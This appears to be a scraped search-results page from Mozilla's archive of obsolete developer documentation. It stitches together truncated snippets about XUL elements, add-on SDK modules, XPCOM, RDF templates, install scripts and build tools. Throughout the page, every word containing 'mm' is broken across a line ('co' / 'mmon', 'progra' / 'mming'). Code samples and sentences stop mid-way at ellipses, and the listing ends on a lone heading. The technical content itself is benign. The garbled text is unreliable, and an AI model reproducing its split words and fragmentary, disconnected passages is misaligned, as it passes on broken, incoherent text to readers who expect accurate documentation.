mmon attributes these are attributes that all preferences may have: attribute description description this appears below the preference title in the add-ons manager ui.
... you can also see them and change them progra
mmatically using the prefs property, and listen for changes to a preference using on().
core/promise - Archive of obsolete content
implementation of promises to make asynchronous progra
mming easier.
... in the add-on sdk we follow co
mmonjs promises/a specification and model a promise as an object with a then method, which can be used to get the eventual return (fulfillment) value or thrown exception (rejection): foo().then(function success(value) { // ...
...this is the co
mmon case, but every once in a while, you will need to create a promise from scratch.
test/assert - Archive of obsolete content
implements the assert interface defined in the co
mmonjs unit testing specification version 1.1.
... the assert object's interface is defined by the co
mmonjs unit testing specification, version 1.1.
...deep equality is defined in the co
mmonjs specification for assert, item 7, which is quoted here: all identical values are equivalent, as determined by ===.
Dialogs and Prompts - Archive of obsolete content
for each of these buttons you can set their label, accesskey and onco
mmand handler by adding buttonlabel<buttonname>, buttonaccesskey<buttonname> and ondialog<buttonname> attributes to the dialog element.
... be sure to use ondialog* attributes on dialog element instead of putting onco
mmand on the button with dlgtype, because button's onco
mmand is executed only when the button is pressed, and ondialog* handlers are executed for keyboard and other events too.
... progra
mmatic button access if you want to access the accept ("ok") and cancel buttons from script, use this: // disable the ok and cancel btns document.documentelement.getbutton("accept").disabled = true; document.documentelement.getbutton("cancel").disabled = true; links dialog.xml — xbl bindings for <dialog> and <dialogheader> elements.
Code snippets - Archive of obsolete content
these examples demonstrate how to accomplish basic tasks that might not be i
mmediately obvious.
...therefore, it is also possible, in theory, to use ecmascript for a smaller task: parsing exotic progra
mming languages (i.e., creating compilers).
... browser-oriented code tabbed browser code (firefox/seamonkey) basic operations, such as page loading, with the tabbed browser, which is the heart of mozilla's browser applications cookies reading, writing, modifying, and removing cookies page loading code used to load pages, reload pages, and listen for page loads interaction between privileged and non-privileged code how to co
mmunicate from extensions to websites and vice-versa.
How to convert an overlay extension to restartless - Archive of obsolete content
asses["@mozilla.org/network/file-input-stream;1"] .createinstance(components.interfaces.nsifileinputstream) .queryinterface(components.interfaces.nsiseekablestream); stream.init(file, 0x01, 0444, 0); // read-only, read by owner/group/others, normal behavior /* do stuff */ }); this bit of code is paraphrased and probably not to be reco
mmended as-is, but it should work.
... (note that the usage of an octal integer literal, while standard for handling permissions, is dangerous and deprecated; usage of use es5 strict mode to disable this and other foot-guns is reco
mmended) if you need to read/manipulate binary data, a nsibinaryinputstream instance is what you'll use on that stream (e.g.
...i'd generally still reco
mmend using the type specific functions for each pref individually, but to load the defaults just use the generic functions above and it's quite simple.
Chapter 1: Introduction to Extensions - Archive of obsolete content
this document was authored by hideyuki emura and was originally published in japanese for the firefox developers conference su
mmer 2007.
...this class of extension requires a greater level of knowledge and progra
mming ability.
... in order to create an extension, you need an idea and just a little progra
mming ability.
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
and was originally published in japanese for the firefox developers conference su
mmer 2007.
... for firefox 3.5 choose "mozilla 1.9.1." for the current development trunk of firefox, choose "mozilla central" and for thunderbird, choose "co
mm.
...listing 5 shows how to get a su
mmary of all browser windows in firefox and then close them.
JavaScript Object Management - Archive of obsolete content
co
mmon cases include interacting with a local database or a remote api.
...this way we have i
mmutable instances of our class.
...you shouldn't skip that section because there are many co
mmon situations in extension development where you'll have to use xpcom, maybe even implement xpcom components of your own.
Performance best practices in extensions - Archive of obsolete content
see co
mmon causes of memory leaks in extensions for ways to avoid zombie compartments and other kinds of leaks.
... many co
mmon services are already cached for you in services.jsm.
...the listeners should be added to the most specific element possible, and removed when not i
mmediately necessary.
Security best practices in extensions - Archive of obsolete content
other items are reco
mmendations.
... apis and other data handling web content is more than just pages, and more and more add-ons are interacting with web services via an application progra
mming interface (api).
... third-party javascript in the context of web sites, using javascript written by others is very co
mmon.
Defining Cross-Browser Tooltips - Archive of obsolete content
su
mmary: authors are used to having alt text appear as a "tooltip" above images, but that's not how it was meant to be used.
... reco
mmendations use the title attribute (instead of alt) to ensure desired tooltip behavior in multiple browsers.
...meyer, netscape co
mmunications last updated date: published 16 aug 2002 copyright information: copyright © 2001-2003 netscape.
Bookmark Keywords - Archive of obsolete content
under ordinary circumstances, this might be used to reduce typing of a co
mmon url: http://www.cnn.com/ could be given the keyword cnn.
...any web site that you co
mmonly search is a candidate for its own keymark.
...meyer, netscape co
mmunications last updated date: published 15 mar 2002 copyright information: copyright © 2001-2003 netscape.
Creating a hybrid CD - Archive of obsolete content
# example filename mapping file used by mkhybrid for hfs # # extn xlate creator type co
mment .hqx ascii 'sitx' 'text' "binhex file" .zip raw 'sitx' 'zip ' "zip file" .gz raw 'sitx' 'zip ' "gzip file" .tgz raw 'sitx' 'zip ' "tar.gz gzip file" .tar raw 'sitx' 'tarf' "tar file" .tif raw '8bim' 'tiff' "photoshop tiff image" .doc raw 'mswd' 'wdbn' "word file" .mov raw 'tvod' 'moov' "quick...
...time movie" .bin raw 'sitx' 'bina' "mac binary" .h ascii 'cwie' 'text' "c/c++ header file" .c ascii 'cwie' 'text' "c source file" .cp ascii 'cwie' 'text' "c++ source file" .cpp ascii 'cwie' 'text' "c++ source file" .exp ascii 'cwie' 'text' "symbol export file" .mcp raw 'cwie' '
mmpr' "codewarrior project file" .r ascii 'mps ' 'text' "rez file" .html ascii 'moss' 'text' "html file" .htm ascii 'moss' 'text' "html file" .txt ascii 'moss' 'text' "text file" readme ascii 'moss' 'text' "text file" changes ascii 'moss' 'text' "text file" install ascii 'moss' 'text' "text file" license ascii 'moss' 'text' "text file" .gif raw 'ogle...
... original document information author(s): dawn endico last updated date: may 1, 2001 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details.
Dehydra Function Reference - Archive of obsolete content
gcc co
mmand line -fplugin=/path/to/gcc_dehydra.so -fplugin-arg-gcc_dehydra=/path/to/your/script.js callback functions the following functions may be provided by the analysis script and will be called by dehydra while compiling.
... optional: code is an integer parameter that allows warnings to be enabled(-wfoo) and disabled(-wno-) on the gcc co
mmandline.
..."gnu c" or "gnu c++") arguments this.arguments is a javascript array containing co
mmand-line arguments passed to a script.
Developing New Mozilla Features - Archive of obsolete content
but our developers are a precious co
mmodity and their time is probably the most important resource we have.
...we’re co
mmitted to this style of development, but recognize that vigilance is necessary to make sure newcomers and their features don’t get lost.
... original document information author(s): mitchell baker last updated date: october 30, 2004 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details.
Building Firefox with Rust code - Archive of obsolete content
firefox uses the rust progra
mming language extensively.
...if you don't have rust already, use the rustup tool to install it and update as new releases become available, or use the ./mach bootstrap co
mmand.
...this is automated by the mach vendor co
mmand, which installs the dependencies in third_party/rust.
Document Loading - From Load Start to Finding a Handler - Archive of obsolete content
bird's eye view <map id="loaddiagra
mmap" name="loaddiagra
mmap"><area alt="(13) docontent()" coords="534,239,715,300" href="#nsiexternalhelperappservice::docontent"> <area alt="(10) getcategoryentry()" coords="575,418,821,418,821,455,629,455,629,484,575,484" href="#categorymanager" shape="poly"> <area alt="(12)" coords="539,133,583,163" href="#stream-converter"> <area alt="(11)" coords="485,133,537,163" href="#contenthandler"> <area a...
...it i
mmediately hands off to nsuriloader::openchannel.
... original document information author(s): boris zbarsky last updated date: october 24, 2003 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details.
Documentation for BiDi Mozilla - Archive of obsolete content
this is determined in nstextfragment::setto the page includes a element with the attribute dir=rtl, either explicitly (nsgenerichtmlelement::mapco
mmonattributesinto), or as a consequence of a style rule (mapdeclarationtextinto in nscssstylerule.cpp) all these cases use nsdocument::enablebidi to set the flag mbidienabled.
...where the system is capable of tasks such as reversing and shaping text, sy
mmetric swapping, numeric translation, etc., no special text rendering is needed, though there may be a call to a native api to set the base text direction (for example settextalign on windows).
...improvements to lists with hebrew and arabic list-style-type su
mmary of new classes class name xpcom interface (if applicable) implementation co
mments nsibidi intl\unicharutil\public\nsibidi.h intl\unicharutil\src\nsbidiimp.cpp implementation of the unicode bidi algorithm nsiubidiutils intl\unicharutil\public\nsiubidiutils.h intl\unicharutil\src\nsbidiutilsimp.cpp utilities for bidi processing, including: character classification sy
mmetric swapping reor...
Downloading Nightly or Trunk Builds - Archive of obsolete content
there are some terms that are used by the mozilla co
mmunity.
...as a development organization, the mozilla co
mmunity tends to describe things from the bottom up.
...the three co
mmon cases are "trunk", meaning the most recent version of mozilla; "branch", meaning the version before trunk (though it can be any version before trunk); and "next", meaning a possible version in the future.
Using microformats - Archive of obsolete content
microformats allow web sites to provide semantic data to the browser in order to make it possible to present su
mmaries of the information on a page without having to know how to parse the document itself.
... predefined microformats firefox 3 provides definitions implementing several co
mmon microformats: adr represents an address (such as a street or mailing address).
... var nu
mmicroformats = microformats.count(name, rootelement, options); parameters name the name of the microformat to count.
Helper Apps (and a bit of Save As) - Archive of obsolete content
limitations of nsimimeinfo no way to say "do whatever the os default is." no support for co
mmand-line arguments.
... no support for multiple co
mmands connected by pipes (mostly useful on unix).
... original document information author(s): boris zbarsky last updated date: september 12, 2002 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details.
popChallengeResponse - Archive of obsolete content
resultstring = crypto.popchallengeresponse("challengestring"); argument description "challengestring" a base-64 encoded c
mmf popodeckeychallcontent message.
... the current implementation does not conform to that defined in the c
mmf draft, and we intend to change this implementation to that defined in the cmc rfc..
... challenge ::= sequence { owf algorithmidentifier optional, -- must be present in the first challenge; may be omitted in any -- subsequent challenge in popodeckeychallcontent (if omitted, -- then the owf used in the i
mmediately preceding challenge is -- to be used).
Modularization techniques - Archive of obsolete content
a simple example it is reco
mmended that you use xpidl to define your interfaces.
...here's a quick su
mmary.
... links the component object model specification revision history feb 25, 1998, created oct 19, 1998, dusted off momentarily oct 10, 1999, added co
mments about xpidl, language-independentness original document information author(s): will scullin last updated date: september 13, 2004 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details ...
Nanojit - Archive of obsolete content
out.ins0(lir_start); lins *two = out.insi
mm(2); lins *firstparam = out.insparam(0, 0); lins *result = out.ins2(lir_add, firstparam, two); out.ins1(lir_ret, result); // emit a lir_loop instruction.
... lins *rec_ins = out.insskip(sizeof(guardrecord) + sizeof(sideexit)); guardrecord *guard = (guardrecord *) rec_ins->payload(); memset(guard, 0, sizeof(*guard)); sideexit *exit = (sideexit *)(guard + 1); guard->exit = exit; guard->exit->target = f; f->lastins = out.insguard(lir_loop, out.insi
mm(1), rec_ins); // compile the fragment.
... out.ins0(lir_start); lins *two = out.insi
mm(2); lins *firstparam = out.insparam(0, 0); lins *result = out.ins2(lir_add, firstparam, two); out.ins1(lir_ret, result); basically, what the code provided above is doing is feeding raw lir into the lir buffer, using the lirwriter's writer object.
Bundles - Archive of obsolete content
webapp bundle in addition to passing simple co
mmand line parameters, prism can use a zipped bundle package to install a webapp.
...when prism is launched with a "-webapp [bundle]" co
mmand line, the bundle must first be unpacked before the web application is launched.
...this is why the preferred method of launching is to use the "-webapp [webapp-id]" co
mmand line, which looks for the previously installed (unpacked) web application in the prism webapps/{webapp-id} folder.
Remote debugging - Archive of obsolete content
when a bug is reproducible by a co
mmunity member, but not on a developer's computer, a last-resort strategy is to debug it on the co
mmunity member's computer.
...core dumps on mac and linux to generate a core dump on mac, type "ulimit -c unlimited", run firefox from the co
mmand line, and make firefox crash.
...the developer can give you appropriate co
mmands to type into the debugger.
Table Layout Strategy - Archive of obsolete content
specs the table layout algorithm is based on two w3c reco
mmendations: html 4.01 (chapter 11) and css2.1 (chapter 17).in css2 a distinction between fixed and auto layout of tables has been introduced.
... the words the table layout is width oriented and knows the following widths: minimum content width - min the minimum width that is required to layout the content, all linebreak possibilities will be used percent width - pct the cell width specified in percent, fixed width - fix the cell width specified as px,
mm etc., proportional width - prop the cell width specified via 1*, 2* etc.
... original document information author(s): bernd mielke last updated date: september 27, 2003 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details.
Tamarin Build System Documentation - Archive of obsolete content
to provide quick and accurate results of building and testing tamarin on supported platforms and configurations to represent the build results in a clear and concise manor please give use feedback if you have any co
mments or suggestions to improve the build system how to add tests to the smokes?
... the list of smoke tests are located in the tamarin-repository, test/run-smokes.txt, assume the start directory is test format is cd testdir; co
mmand to run test above the test should be a # co
mment describing why the test in the smokes, when test failed, possibly a bugzilla bug the tests can be run by following the above instructions for running buildbot scripts locally and executing the all/run-smoke-tests.sh as a rule any test failure should be i
mmediately added to the top of the smoke test list so the list is prioritized how to exclude tests from acceptance or mark them as known failures?
... the test/acceptance/testconfig.txt file contains a list of tests marked as expected failures or skipped with the configuration see the testconfig.txt for current instructions generally the format is co
mma separated list with regular expressions for test and configuration.
URIs and URLs - Archive of obsolete content
resources are identified by uri "uniform resource identifier" (taken from rfc 2396): uniform uniformity provides several benefits: it allows different types of resource identifiers to be used in the same context, even when the mechanisms used to access those resources may differ; it allows uniform semantic interpretation of co
mmon syntactic conventions across different types of resource identifiers; it allows introduction of new types of resource identifiers without interfering with the way that existing identifiers are used; and, it allows the identifiers to be reused in many different contexts, thus permitting new applications or protocols to leverage a pre-existing, large, and widely-used set of resource identifiers.
...parsing urls rfc 2396 defines an url parser that can deal with the syntax that is co
mmon to most url schemes that are currently in existence.
... original document information author(s): andreas otte last updated date: january 2, 2002 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details.
Windows Install - Archive of obsolete content
nction verifies disk space in kilobytes function verifydiskspace(dirpath, spacerequired) { var spaceavailable; // get the available disk space on the given path spaceavailable = filegetdiskspaceavailable(dirpath); // convert the available disk space into kilobytes spaceavailable = parseint(spaceavailable / 1024); // do the verification if(spaceavailable < spacerequired) { logco
mment("insufficient disk space: " + dirpath); logco
mment(" required : " + spacerequired + " k"); logco
mment(" available: " + spaceavailable + " k"); return(false); } return(true); } function updatewinreg4ren8dot3() { var fprogram = getfolder("program"); var ftemp = getfolder("temporary"); //notes: // can't use a double backslash before subkey // - windows al...
....windowsgetshortname(flongfilepath); if(sshortfilepath) { fren8dot3ini.writestring("rename", sshortfilepath, flongfilepath); binicreated = true; } } if(binicreated) updatewinreg4ren8dot3() ; } return(0); } // main var srdest; var err; var fprogram; srdest = 449; err = initinstall(prettyname, regname, "6.0.0.2000110801"); logco
mment("initinstall: " + err); fprogram = getfolder("program"); logco
mment("fprogram: " + fprogram); if(verifydiskspace(fprogram, srdest)) { setpackagefolder(fprogram); err = adddirectory("", "6.0.0.2000110801", "bin", // dir name in jar to extract fprogram, // where to put this file // (returned from getfolder) "", // subdir name to create relative to fprogram ...
...true); // force flag logco
mment("adddirectory() returned: " + err); // check return value if(err == success) { err = performinstall(); logco
mment("performinstall() returned: " + err); } else cancelinstall(err); } else cancelinstall(insufficient_disk_space); // end main ...
modDateChanged - Archive of obsolete content
su
mmary returns whether file has been modified since a certain date.
... example filesource1 = getfolder("program", "file1.txt"); filesource2 = getfolder("program", "file2.txt"); err1 = file.moddate(filesource1); // the baseline returned err2 = file.moddatechanged(filesource1, err1); logco
mment("file.moddatechanged should return 'false' = " + err2); // the reason it expects false is we're comparing // the return 'time stamp' value for // file1.txt with the actual file1.txt itself.
... err3 = file.moddatechanged(filesource2, err1); logco
mment("file.moddatechanged should return 'true' = " + err2); // the reason it expects true is we're comparing // the return 'time stamp' value for // file1.txt with another file, file2.txt, with a different // 'time stamp' value.
XPJS Components Proposal - Archive of obsolete content
xpconnect provides the mechanisms for co
mmunication between native and js xpcom components, but it does not provide all of the infrastructure to register and instantiate js components outside of the limitations of the browser window.
... the js module is free to implement factories and components and services that the factories construct on co
mmand.
... co
mments and suggestions welcome!
collapse - Archive of obsolete content
before when the grippy is clicked, the element i
mmediately before the splitter in the same parent is collapsed so that its width or height is 0.
... after when the grippy is clicked, the element i
mmediately after the splitter in the same parent is collapsed so that its width or height is 0.
... both either the element i
mmediately before the splitter, or the element i
mmediately after the splitter can be collapsed, if the size of that element would fall below the minimum size due to the position of the splitter.
modifiers - Archive of obsolete content
multiple keys may be separated by spaces or co
mmas.
...on the macintosh, this is the co
mmand key.
... accel: the key used for keyboard shortcuts on the user's platform, which is control on windows and linux, and co
mmand on mac.
Attribute (XUL) - Archive of obsolete content
sclosure buttonaccesskeyextra1 buttonaccesskeyextra2 buttonaccesskeyhelp buttonalign buttondir buttondisabledaccept buttonlabelaccept buttonlabelcancel buttonlabeldisclosure buttonlabelextra1 buttonlabelextra2 buttonlabelhelp buttonorient buttonpack buttons checked checkstate clicktoscroll class closebutton closemenu coalesceduplicatearcs collapse collapsed color cols co
mmand co
mmandupdater completedefaultindex container containment contentcontextmenu contenttooltip context contextmenu control crop curpos current currentset customindex customizable cycler datasources decimalplaces default defaultbutton defaultset description dir disableautocomplete disableautoselect disableclose disabled disablehistory disablekeynavigation disablesecur...
...t-tab left linkedpanel max maxheight maxlength maxpos maxrows maxwidth member menu menuactive min minheight minresultsforpopup minwidth mode modifiers mousethrough movetoclick multiline multiple name negate newlines next noautofocus noautohide noinitialfocus nomatch norestorefocus object observes onbeforeaccept onbookmarkgroup onchange onclick onclosetab onco
mmand onco
mmandupdate ondialogaccept ondialogcancel ondialogclosure ondialogextra1 ondialogextra2 ondialoghelp onerror onerrorco
mmand onextra1 onextra2 oninput onload onnewtab onpageadvanced onpagehide onpagerewound onpageshow onpaneload onpopuphidden onpopuphiding onpopupshowing onpopupshown onsearchcomplete onselect ontextco
mmand ontextentered ontextrevert ontextrevert...
... pageincrement pagestep parent parsetype persist persistence phase pickertooltiptext placeholder popup position predicate preference preference-editable primary priority properties querytype readonly ref rel removeelement resizeafter resizebefore rows screenx screeny searchbutton searchsessions searchlabel selected selectedindex seltype setfocus showcaret showco
mmentcolumn showpopup size sizemode sizetopopup smoothscroll sort sortactive sortdirection sortresource sortresource2 spellcheck src state statedatasource statusbar statustext style subject substate suppressonselect tabindex tabscrolling targets template timeout title toolbarname tooltip tooltiptext tooltiptextnew top type uri useraction validate value var visua...
Building accessible custom components in XUL - Archive of obsolete content
the individual cells, row headers, and column headers are not in the tab order, but we can still set focus to them progra
mmatically using javascript whenever the user clicks a specific cell.
...the only remaining issue is that when the spreadsheet regains focus (by pressing shift-tab, or cycling all the way around the tab order and coming back into the spreadsheet), we need to progra
mmatically reset the focus to the previously focused cell.
...(we could have laid out the grid by rows instead of columns, but that just shifts the complexity to a different navigation co
mmand.) here is the keyboard navigation code: <code> const key_up = 38; const key_down = 40; const key_left = 37; const key_right = 39; function cell_keypress(e) { var current = e.target; switch (e.keycode) { case key_up: spreadsheet_up(current); break; case key_down: spreadsheet_down(current); break; case key_left: spreadsheet_left(curren...
Accessing Files - Archive of obsolete content
a co
mmon case is to write a file in the directory that holds the user's preferences.
...the actual location of this directory will vary by user and system, so this is a convenient means to refer to a co
mmon directory without having to locate it yourself.
...if the application was launched from a co
mmand line, for instance, this will be the directory where the application was launched from, which may be different from the 'application' value.
How to implement a custom XUL query processor component - Archive of obsolete content
using a custom query processor: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <grid> <columns> <column flex="1"/> <column flex="3"/> <column flex="2"/> <column flex="1"/> </columns> <rows datasources="du
mmy" ref="." querytype="simpledata"> <template> <row uri="?"> <label value="?name"/> <label value="?age"/> <label value="?hair"/> <label value="?eye"/> </row> </template> </rows> </grid> </window> a few things to note.
... we are not really using the datasources in our sample component, so we set it to a du
mmy value.
...x++]); } }; // the query processor class - implements nsixultemplatequeryprocessor function templatequeryprocessor() { // our basic list of data this._data = [ {name: "mark", age: 36, hair: "brown", eye: "brown"}, {name: "bill", age: 25, hair: "red", eye: "black"}, {name: "joe", age: 15, hair: "blond", eye: "blue"}, {name: "ji
mmy", age: 65, hair: "gray", eye: "dull"} ]; } templatequeryprocessor.prototype = { queryinterface: xpcomutils.generateqi([components.interfaces.nsixultemplatequeryprocessor]), classdescription: "sample xul template query processor", classid: components.id("{282cc4ea-a49c-44fc-81f4-1f03cbb7825f}"), contractid: "@mozilla.org/xul/xul-query-processor;1?name=simpledata", getda...
removeAllNotifications - Archive of obsolete content
« xul reference home removeallnotifications( i
mmediate ) return type: no return value remove all notifications.
... if i
mmediate is true, the messages are removed i
mmediately.
... if i
mmediate is false, the notifications are removed using a slide transition.
MenuModification - Archive of obsolete content
<script> function addtomenu() { var menu = document.getelementbyid("edit-menu"); menu.appenditem("insert", "insert"); } </script> <menu id="edit-menu"/> <button label="add" onco
mmand="addtomenu()"/> in this example, the addtomenu function is called when the button is pressed.
... co
mment: appenditem not working in tb 52.7.0.
...in this example, an item is appended to a menu, and then i
mmediately removed again.
Panels - Archive of obsolete content
it is quite co
mmon however, to have an element such as a button within the panel to close it as well.
... for instance, using the search panel example above, we could add a button which closes the panel when pressed: <script> function dosearch() { document.getelementbyid("search-panel").hidepopup(); } </script> <toolbarbutton label="search" type="panel"> <panel id="search-panel" position="after_start"> <textbox id="search"/> <button label="search" onco
mmand="dosearch();"/> </panel> </toolbarbutton> in this example, the dosearch() function is called when the "search" button is pressed.
... <panel id="search-panel" noautohide="true"> <textbox id="search"/> <button label="search" onco
mmand="dosearch();"/> <button label="cancel" onco
mmand="this.parentnode.hidepopup();"/> </panel> because the panel can no longer be closed by clicking elsewhere, the panel should always provide a means to close the panel itself.
buttons - Archive of obsolete content
« xul reference buttons type: co
mma-separated list of the values below a co
mma-separated list of buttons to appear on the dialog box.
...you can set its label with the buttonlabelextra1 attribute and its co
mmand with the ondialogextra1 attribute.
...you can set its label with the buttonlabelextra2 attribute and its co
mmand with the ondialogextra2 attribute.
controllers - Archive of obsolete content
the controllers are used to respond to co
mmands.
... the document's co
mmand dispatcher will locate controllers to handle a co
mmand by using the focused element's list.
... example <window id="controller-example" title="controller example" onload="init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script> function init() { var list = document.getelementbyid("thelist"); var listcontroller = { supportsco
mmand : function(cmd){ return (cmd == "cmd_delete"); }, isco
mmandenabled : function(cmd){ if (cmd == "cmd_delete") return (list.selecteditem != null); return false; }, doco
mmand : function(cmd){ list.removeitemat(list.selectedindex); }, onevent : function(evt){ } }; list.controllers.appendcontroller(listcontroller); } </script> <listbox id="thelist"> <listitem label="ocean"/> <listitem label="desert"/> <listitem label="jungle"/> <listitem label="swamp"/> </li...
Additional Navigation - Archive of obsolete content
using a literal as the object of a triple is a co
mmon way to filter out specific items.
...it wouldn't be very co
mmon to filter for a specific child anyway.
... retrieving parents a very unco
mmon form of navigation you can also do is to navigate upwards using a member tag, that is to get all the parents of a node, as in this example: <query> <content uri="?start"/> <member container="?parent" child="?start"/> </query> this might be used, for instance, to start at a particular photo and find all of the containers that it is inside.
Template Logging - Archive of obsolete content
to su
mmarize, the following forms of message may be logged: new active result for query 1 matching rule 2 a new data result has been added.
...co
mmon errors are misspelled variable names or <member> and <triple> elements placed in the wrong order.
...the first example generates no error and is a co
mmon template query pattern.
Complete - Archive of obsolete content
the approach that is normally reco
mmended is pessimistic.
...restart the application using the co
mmand line switch: -uilocale fr-fr (of course, if your application is already in french, specify en-us here to switch the extension to english.) notes: if you use a shortcut or launcher icon to start the application, then you can add the co
mmand line switch by editing the icon's properties.
...to work around the bug, close the application, delete the file xul.mfl in its profile, then restart it with the co
mmand line switch.
Adding Properties to XBL-defined Elements - Archive of obsolete content
most of the work here is done in the onco
mmand handlers.
...xul: <box id="random-box" class="randomizer"/> <button label="generate" onco
mmand="document.getelementbyid('random-box').number=math.random();"/> <button label="show" onco
mmand="alert(document.getelementbyid('random-box').number)"/> xbl: <binding id="randomizer"> <implementation> <field name="number"/> </implementation> </binding> a number field has been defined in the binding, which stores the random number.
...it is also co
mmon to have the properties match an attribute on the xbl-defined element.
Introduction to RDF - Archive of obsolete content
mozilla provides datasources for this co
mmon data so that you can easily use them.
...<rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:animals="http://www.some-fictitious-zoo.com/rdf#"> <rdf:seq about="http://www.some-fictitious-zoo.com/all-animals"> <rdf:li> <rdf:description about="http://www.some-fictitious-zoo.com/ma
mmals/lion"> <animals:name>lion</animals:name> <animals:species>panthera leo</animals:species> <animals:class>ma
mmal</animals:class> </rdf:description> </rdf:li> <rdf:li> <rdf:description about="http://www.some-fictitious-zoo.com/arachnids/tarantula"> <animals:name>tarantula</animals:name> <animals:species>avicularia avicularia</anim...
...als:species> <animals:class>arachnid</animals:class> </rdf:description> </rdf:li> <rdf:li> <rdf:description about="http://www.some-fictitious-zoo.com/ma
mmals/hippopotamus"> <animals:name>hippopotamus</animals:name> <animals:species>hippopotamus amphibius</animals:species> <animals:class>ma
mmal</animals:class> </rdf:description> </rdf:li> </rdf:seq> </rdf:rdf> here, three records have been described, one for each animal.
More Event Handlers - Archive of obsolete content
example 1 : source view <vbox onco
mmand="alert(event.currenttarget.tagname);"> <button label="ok"/> <checkbox label="show images"/> </vbox> stop event propagation once you handle an event, regardless of where in the propagation the event is, you will likely want to stop the event from being sent to further elements, essentially stopping the capturing or bubbling phases from continuing.
...example 2 : source view <hbox id="outerbox"> <button id="okbutton" label="ok"/> </hbox> <script> function buttonpressed(event){ alert('button was pressed!'); } function boxpressed(event){ alert('box was pressed!'); event.stoppropagation(); } var button = document.getelementbyid("okbutton"); button.addeventlistener('co
mmand',buttonpressed,true); var outerbox = document.getelementbyid("outerbox"); outerbox.addeventlistener('co
mmand',boxpressed,true); </script> here, an event listener has been added to the button and another event listener has been added to the box.
...this event is co
mmonly used to initialize fields and perform other tasks that need to be done before the user can use the window.
Property Files - Archive of obsolete content
a property file can also include co
mments.
... a line that begins with a hash sign ('#') is treated as a co
mment: # this is a co
mment welcomemessage=hello, world!
... # this is another co
mment goodbyemessage=come back soon!
XBL Example - Archive of obsolete content
an onco
mmand handler will need to be added to the previous and next buttons so that the page is changed when the buttons are pressed.
... conveniently, we can change the page using the custom 'page' property that was just added: <xul:button xbl:inherits="label=previoustext" onco
mmand="parentnode.parentnode.parentnode.page--;"/> <xul:description flex="1"/> <xul:button xbl:inherits="label=nexttext" onco
mmand="parentnode.parentnode.parentnode.page++;"/> because the 'page' property is only on the outer xul element, we need to to use the parentnode property to get to it.
... the final code the final code is as follows: example 2 : source <binding id="slideshow"> <content> <xul:vbox flex="1"> <xul:deck xbl:inherits="selectedindex" selectedindex="0" flex="1"> <children/> </xul:deck> <xul:hbox> <xul:button xbl:inherits="label=previoustext" onco
mmand="parentnode.parentnode.parentnode.page--;"/> <xul:description flex="1"/> <xul:button xbl:inherits="label=nexttext" onco
mmand="parentnode.parentnode.parentnode.page++;"/> </xul:hbox> </xul:vbox> </content> <implementation> <constructor> var totalpages=this.childnodes.length; document.getanonymousnodes(this)[0].childnodes[1].chi...
Using multiple DTDs - Archive of obsolete content
but there are situations where you want to use multiple dtds, for example to localize co
mmon widgets used in all your xul files, additionally to the ones specific to the file.
... assuming you have an entity called somebutton.label defined in mainwindow.dtd, you can access the entity like this: <button id="somebutton" label="&somebutton.label"> multiple dtds if you want to use multiple dtds with your xul file, you can simply list all of the dtds inside your dtd declaration: <!doctype window [ <!entity % co
mmondtd system "chrome://myextensions/locale/co
mmon.dtd"> %co
mmondtd; <!entity % mainwindowdtd system "chrome://myextension/locale/mainwindow.dtd"> %mainwindowdtd; ]> you can now access the entities declared in the dtds as shown above.
... assume you have an entity okbutton.label defined in file co
mmon.dtd.
XUL Questions and Answers - Archive of obsolete content
return to mozilla-dev-tech-xul su
mmaries the frequently asked questions should be moved to xul faq (make sure they have a clear answer.) where can i get more information about creating mozsearch plugins?
... using the "icon" attribute on a button from xulplanet.com reference: this attribute should be used to set the usage for co
mmon buttons.
...if you are using a button that matches one of these co
mmon usages, use the icon attribute to indicate this.
XUL accessibility tool - Archive of obsolete content
while not meant to be a comprehensive test suite (meaning that passing all included tests does not guarantee that an application is free of accessibility bugs or issues), many of the most co
mmon accessibility mistakes will be found and reported.
... following things have been suggested or are planned for a future version of the tool: new tests: (aaronlev) warning: hardcoded color and pixel sizings (aaronlev) error: duplicate accesskey in a dialog (already have this for menus) (aaronlev) error: form control without accesskey (aaronlev) warning: accesskey as lowercase letter with descender (underlined g,j,y,q,p are hard to read, not reco
mmended) (aaronandy) list of things to check manually, such as a list oftrees in the document (make sure they have accessible column picker equivs) or a list of toolbarbuttons (make sure they have accessible alternatives).
... (aaronandy) xul runner version that can run from the co
mmand line, check a text file, and output the results somewhere.
XML - Archive of obsolete content
when we say language, we mean that developers create a set of terms, orlexicon, and a relationship between these terms, or what some people call agra
mmar.
...you're a markup language progra
mmer!
...xul is little beyond the set of tags used to define interface widgets, the relationship between them, or gra
mmar, and some built-in flexibility for using extra resources like images, html elements, and other standards-based technologies.
grid - Archive of obsolete content
it is most co
mmon to place elements within the rows and use the columns only to define their flexibility and width.
... whichever of the columns and rows is last in the grid is displayed on top; co
mmonly the columns element appears in the grid first.
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
iframe - Archive of obsolete content
